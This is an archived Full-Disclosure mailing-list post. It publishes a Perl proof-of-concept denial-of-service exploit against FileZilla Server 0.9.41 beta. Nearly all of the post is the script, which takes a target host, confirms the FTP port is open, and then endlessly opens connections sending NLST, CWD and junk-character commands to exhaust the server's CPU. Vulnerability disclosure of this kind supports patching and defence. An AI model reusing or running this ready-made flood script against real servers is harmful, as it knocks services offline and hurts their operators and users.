[Full-disclosure] FileZilla Server version 0.9.41 beta Remote DOS (CPU exhaustion) POC



# Exploit Title:FileZilla Server version 0.9.41 beta Remote DOS (CPU
exhaustion) POC
# Date: July 10, 2012
# Author: coolkaveh
# coolkaveh@xxxxxxxxxxxxxx
# https://twitter.com/coolkaveh
# Vendor Homepage: http://filezilla-project.org/
# Version: 0.9.41
# Tested on: windows XP SP3
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# Crappy FileZilla Server (CPU exhaustion)
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#!/usr/bin/perl -w
use IO::Socket;
$|=1;
sub usage {
print "Crappy FTP Server Remote Denial Of Service\n";
print "by coolkaveh\n";
print "coolkaveh@xxxxxxxxxxxxxx\n";
print "usage: perl Crappyftp.pl <host> \n";
}
$host=shift;
$port=shift || "21";
if(!defined($host)){
print "Crappy FTP Server Remote Denial Of Service\n";
print "by coolkaveh\n";
print "coolkaveh@xxxxxxxxxxxxxx\n";
print "usage: perl Crappyftp.pl <host> \n";
exit(0);
}
$check_first=IO::Socket::INET->new(PeerAddr=>$host,PeerPort=>$port,Timeout=>60);
if(defined $check_first){
print "$host -> $port is alive.\n";
$check_first->close;
}
else{
die("$host -> $port is closed!\n");
}
@command=(
'NLST','CWD','%$^&*()_+!@');
print "Dosing Server!\n";
while (1) {
COMMAND_LIST: foreach $cmd (@command){
LABEL5: $sock1=IO::Socket::INET->new(PeerAddr=>$host,
PeerPort=>$port, Proto=>'tcp', Timeout=>30);
if(defined($sock1)){
$sock1->send("$cmd"." "."$poc\r\n", 0);
}
}
}

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/



Relevant Pages

  • Performance Problems.. Server hardware smoked by $500 box?
    ... webserver with a separate db/file server sitting behind it. ... Now granted the development machine has the most Mhz, ... CPU: Intel Pentium III Origin = ... Ubench CPU: 25713 ...
    (freebsd-performance)
  • Performance Problems.. Server hardware smoked by $500 box?
    ... webserver with a separate db/file server sitting behind it. ... Now granted the development machine has the most Mhz, ... CPU: Intel Pentium III Origin = ... Ubench CPU: 25713 ...
    (freebsd-questions)
  • Re: Dell PowerEdge 2450 & Win2k3 server
    ... The other thing you can do is try to run just one CPU and see if one of the ... Enterprise server sp1. ... I get this error after the windows setup process. ... Tried installing with the PERC and also tried installing using the ...
    (microsoft.public.windows.server.general)
  • Re: Chat server : Threading in select call
    ... on the same CPU. ... the server continues to make forward progress on ... For example, in the typical case, the server handles each request as ... any server where there is tight integration between connections (one ...
    (comp.unix.programmer)